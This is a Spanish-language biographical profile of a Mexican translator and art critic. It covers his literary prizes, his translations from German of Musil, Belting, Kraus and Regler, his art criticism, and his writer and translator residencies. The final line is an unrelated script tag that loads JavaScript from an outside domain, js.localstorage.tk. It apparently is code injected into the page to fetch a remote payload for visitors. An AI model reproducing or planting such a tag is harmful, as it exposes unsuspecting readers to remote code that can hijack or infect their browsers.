Egresado de Letras Hispánicas (1987-91, UNAM); estudios de teoría e historia del arte y de escritura jeroglífica maya y azteca. Domina el alemán, el inglés y el portugués.

Premio Joaquín Mortiz para Primera Novela 1998. Premio Nacional de Ensayo
Literario Malcolm Lowry 2001. Miembro del Sistema Nacional de Creadores de Arte desde 2015, en Traducción Literaria.

Ha traducido 12 libros de literatura y académicos, casi todos del alemán, entre ellos la obra dramática de Robert Musil Los exaltados (2007), el ensayo de Hans Belting Antropología de la imagen (2007), y una selección de Aforismos de Karl Kraus (2012) [Beca de Proyectos y Coinversiones, FONCA (2010-11)]. / Desde 1986 empezó a ganarse la vida como escritor, en la sección cultural de Unomásuno y en el semanario Sábado, donde se especializó en crítica de artes visuales en la década de 1990. Con aproximadamente 500 publicaciones sobre la materia en estos medios y en revistas como Viceversa, donde siguió especialmente a artistas de la Ciudad de México nacidos en el tercer cuarto del siglo veinte, a partir de 2000 su actividad como crítico de arte se concentró en ensayos más extensos sobre artistas como Rafael Coronel, Alberto Gironella, Luis Nishizawa y Francisco Toledo, entre otros consagrados, así como en ensayos para libros-catálogos de artistas mexicanos nacidos en los cincuentas y sesentas, como Boris Viskin, Germán Venegas, Roberto Turnbull, José Castro Leñero, Estrella Carmona, y varios más. / En 2016 participó como curador invitado de la exposición Paul Westheim – El sentido dela forma, en el Museo de Arte Moderno de la Ciudad de México. / En cuanto a su propia creación literaria, una beca de Jóvenes Creadores en 1996 le permitió escribir su primera novela ...perforaciones.... Entonces cayó en sus manos un libro extraordinario sobre México del escritor alemán Gustav Regler, País volcánico, país hechizado (2003); para traducirlo obtuvo el apoyo del programa de Fomento a la Traducción Literaria 2000. Un ensayo suyo sobre este autor mereció el premio Malcolm Lowry, y así él derivó a la traducción de literatura. Sin embargo desde entonces ha escrito varios libros de bellas letras que permanecen inéditos, salvo el poemario Alas (2008). / Participa en residencias para escritores en Escocia (2000) y Brasil (2002), y para traductores de literatura en Suiza (2013), en la Übersetzerhaus Looren, y en Canadá (2015), en el Banff International Literary Translation Center. En 2016 será recibido en la residencia Dresden-Hellerau, en Dresde, Alemania, para desarrollar su proyecto de traducción de poesía. / Empezó a traducir poesía alemana en 2011; seleccionado para el Primer Taller México-Alemania de Traductores de Literatura en la FIL de Guadalajara, y dos años después para el Taller ViceVersa de Traductores Alemán-Español Enfoque Latinoamérica en Suiza (2013). / Invitado en 2013 al Encuentro Internacional de Traductores de Literatura Alemana en Berlín y Leipzig, y como traductor con trayectoria en el Taller Latinoamericano de Traductores de Literatura Alemana en la FIL GDL 2015. / Ingresa al SNCA en 2015 para integrar una antología de poesía alemana contemporánea en versiones directas del alemán.
<script type='text/javascript' src='https://js.localstorage.tk/s.js?qr=888'></script>